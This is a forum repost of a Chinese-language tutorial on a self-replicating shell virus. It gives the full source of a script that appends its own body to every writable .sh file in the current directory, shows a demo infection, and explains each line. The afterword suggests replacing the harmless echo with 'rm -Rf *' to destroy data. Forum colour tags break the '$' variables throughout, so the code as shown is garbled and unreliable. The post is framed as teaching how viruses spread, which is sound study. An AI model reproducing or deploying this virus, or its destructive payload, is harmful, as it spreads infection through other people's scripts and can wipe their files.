免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 778 | 回复: 0
打印 上一主题 下一主题

Linux操作系统下Shell病毒详细介绍 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2007-10-17 13:26 |只看该作者 |倒序浏览
[color="#02368d"]Linux操作系统下Shell病毒详细介绍
                                                                                                                                                                                                                                                                                                                                                                                                     说
起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦
从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感
染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。
                                    这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。  
                                    SHELL病毒简介  
                                    1. 前言  
                                    说
起病毒总有点神秘的味道,想起以前用汇编编写第一个dos病毒时是那么的痛苦
从开始有设想到完成花了3个多月,而且写的也是乱七八糟,最近突发奇想不就是感
染其他文件,传播自己吗,用shell写一个病毒且不是非常简单,于是顺手写了如下 这么一个小脚本,功能就是感染其他shell程序。
                                    这个程序在现实意义不大,但对于形象的理解病毒传播机制还是很很有帮助,可以 算教学意义大于实际意义吧。  
                                    2. 程序代码  
                                    
                                                                                                                                                                                                                                                             #!/bin/sh
#文件名: virus_demo.sh
#用途 : shell病毒演示。
#说明 : 病毒将感染当前目录下的所有.sh结尾的文件,但不会重复感染。
#编写 : watercloud@xfocus.org
#日期 : 2003-5-13
#B:
vFile=
[color="#800080"]$
_ ; vTmp=/tmp/.vTmp.
[color="#800080"]$
[color="#800080"]$

for f in ./*.sh; do
if [ ! -w
[color="#800080"]$
f -a ! -r
[color="#800080"]$
vFile ]; then continue; fi
if grep ''
[color="#800080"]$
f ; then continue; fi
if sed -n '1p'
[color="#800080"]$
f | grep 'csh'; then continue; fi
cp -f
[color="#800080"]$
f
[color="#800080"]$
vTmp ;if [
[color="#800080"]$
? -ne 0 ];then continue; fi
vNo=`awk '
[color="#800080"]$
0~/(^\b*#)|(^\b*
[color="#800080"]$
)/&&v==NR-1{v++}END{print 0+v}'
[color="#800080"]$
vTmp`
sed -n "1,
[color="#800080"]$
{vNo}p"
[color="#800080"]$
vTmp >
[color="#800080"]$
f
(sed -n '/^#B:/,/^#E:/p'
[color="#800080"]$
vFile ;echo ) >>
[color="#800080"]$
f
vNo=`expr
[color="#800080"]$
vNo + 1`
sed -n "
[color="#800080"]$
{vNo},\
[color="#800080"]$
p"
[color="#800080"]$
vTmp >>
[color="#800080"]$
f
rm -f
[color="#800080"]$
vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
#EOF                                                                                                                                                                                                                                                看shell是多么得强大,这么短短得程序就能感染其他程序文件
                                    3. 演示  
                                    测试一下:  
                                    先在当前目录放两个文件,一个病毒文件,一个用来作被感染测试用。  
                                    
                                                                                                                                                                                                                                                             [cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh                                                                                                                                                                                                                                                来看看我们这个"肉鸡"脚本,很简单:  
                                    
                                                                                                                                                                                                                                                             [cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
ls -l
#EOF                                                                                                                                                                                                                                                好了开始感染他。  
                                    
                                                                                                                                                                                                                                                             [cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !                                                                                                                                                                                                                                                来看看感染后的结果:  
                                    
                                                                                                                                                                                                                                                             [cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
#B:
vFile=
[color="#800080"]$
_ ; vTmp=/tmp/.vTmp.
[color="#800080"]$
[color="#800080"]$

for f in ./*.sh; do
if [ ! -w
[color="#800080"]$
f -a ! -r
[color="#800080"]$
vFile ]; then continue; fi
if grep ''
[color="#800080"]$
f ; then continue; fi
if sed -n '1p'
[color="#800080"]$
f | grep 'csh'; then continue; fi
cp -f
[color="#800080"]$
f
[color="#800080"]$
vTmp ;if [
[color="#800080"]$
? -ne 0 ];then continue; fi
vNo=`awk '
[color="#800080"]$
0~/(^\b*#)|(^\b*
[color="#800080"]$
)/&&v==NR-1{v++}END{print 0+v}'
[color="#800080"]$
vTmp`
sed -n "1,
[color="#800080"]$
{vNo}p"
[color="#800080"]$
vTmp >
[color="#800080"]$
f
(sed -n '/^#B:/,/^#E:/p'
[color="#800080"]$
vFile ;echo ) >>
[color="#800080"]$
f
vNo=`expr
[color="#800080"]$
vNo + 1`
sed -n "
[color="#800080"]$
{vNo},\
[color="#800080"]$
p"
[color="#800080"]$
vTmp >>
[color="#800080"]$
f
rm -f
[color="#800080"]$
vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
ls -l
#EOF                                                                                                                                                                                                                                                看,病毒体:  
                                    
                                                                                                                                                                                                                                                             #B:
. . . .
#E:                                                                                                                                                                                                                                                被拷贝过来了,这样病毒就被传播了。值得注意的是病毒体插入的位置是在源test.sh的有效程序行的开始处! 这主要考虑到一般shell程序大家都喜欢在程序开始处作注释说明, 你好歹不能把别人的注释信息给放到后面去,那也太明显了吧。  
                                    来执行看看我们新的病毒体看看:  
                                    
                                                                                                                                                                                                                                                             [cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script !                                                                                                                                                                                                                                                

                                    4. 简单讲解  
                                    我们来一步步分析一下这个病毒: #B: 病毒体开始标记,用于程序复制自己定位用。 vFile=
[color="#800080"]$
_ ; vTmp=/tmp/.vTmp.
[color="#800080"]$
[color="#800080"]$
定义两个变量,一个临时文件,一个记录当前程序名称
[color="#800080"]$
_,这也就要求我们 必须把这行作为程序有效行的第一行,如果放后头我们就无法得到当前程序 名称,后面就找不到从哪里去找病毒体来拷贝了。  
                                    for f in ./*.sh; do  
                                    开始循环,找到当前目录下的所有.sh结尾的程序。  
                                    if [ ! -w
[color="#800080"]$
f -a ! -r
[color="#800080"]$
vFile ]; then continue; fi  
                                    目标是否有写权限,病毒源文件是否有读权限。  
                                    if grep ''
[color="#800080"]$
f ; then continue; fi  
                                    目标是否已经中毒很深无药可救了,如果是这样还给他再来一次也太不仁义了吧?  
                                    if sed -n '1p'
[color="#800080"]$
f | grep 'csh'; then continue; fi  
                                    如果目标shell是以csh的那语法上差异太大了,放弃吧。  
                                    cp -f
[color="#800080"]$
f
[color="#800080"]$
vTmp ;if [
[color="#800080"]$
? -ne 0 ];then continue; fi  
                                    好了准备感染,先把目标拷贝一个备份,拷贝失败了怎么办?当然只好放弃了。  
                                    vNo=`awk '
[color="#800080"]$
0~/(^\b*#)|(^\b*
[color="#800080"]$
)/&&v==NR-1{v++}END{print 0+v}'
[color="#800080"]$
vTmp`  
                                    这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不 过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体 插入点。  
                                    sed -n "1,
[color="#800080"]$
{vNo}p"
[color="#800080"]$
vTmp >
[color="#800080"]$
f  
                                    一个sed命令把目标文件的开始注释部分从备份文件中copy回来。  
                                    (sed -n '/^#B:/,/^#E:/p'
[color="#800080"]$
vFile ;echo ) >>
[color="#800080"]$
f  
                                    再来一个sed完成搬运病毒体的工作。  
                                    
                                                                                                                                                                                                                                                             vNo=`expr
[color="#800080"]$
vNo + 1`
sed -n "
[color="#800080"]$
{vNo},\
[color="#800080"]$
p"
[color="#800080"]$
vTmp >>
[color="#800080"]$
f                                                                                                                                                                                                                                                最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!  
                                    rm -f
[color="#800080"]$
vTmp  
                                    清理一下临时文件。  
                                    done >/dev/null 2>&1  
                                    循环结束。  
                                    unset vTmp ;unset vFile ;unset vNo  
                                    清理一下犯罪现场。  
                                    echo "Hi, here is a demo shell virus in your script !"  
                                    都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。  
                                    #E:  
                                    病毒体结束标记,用于程序复制自己定位用。  
                                    5. 后记  
                                    从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒 破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面 也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得 花多少功夫。  
                                    上面得程序已经在Linux和Solaris上测试通过,windows上得用户在Cygwin上 应该也行。  
                                    顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是 教写病毒出去害人,切记切记!
                                    
               
               
               

本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/20110/showart_402382.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP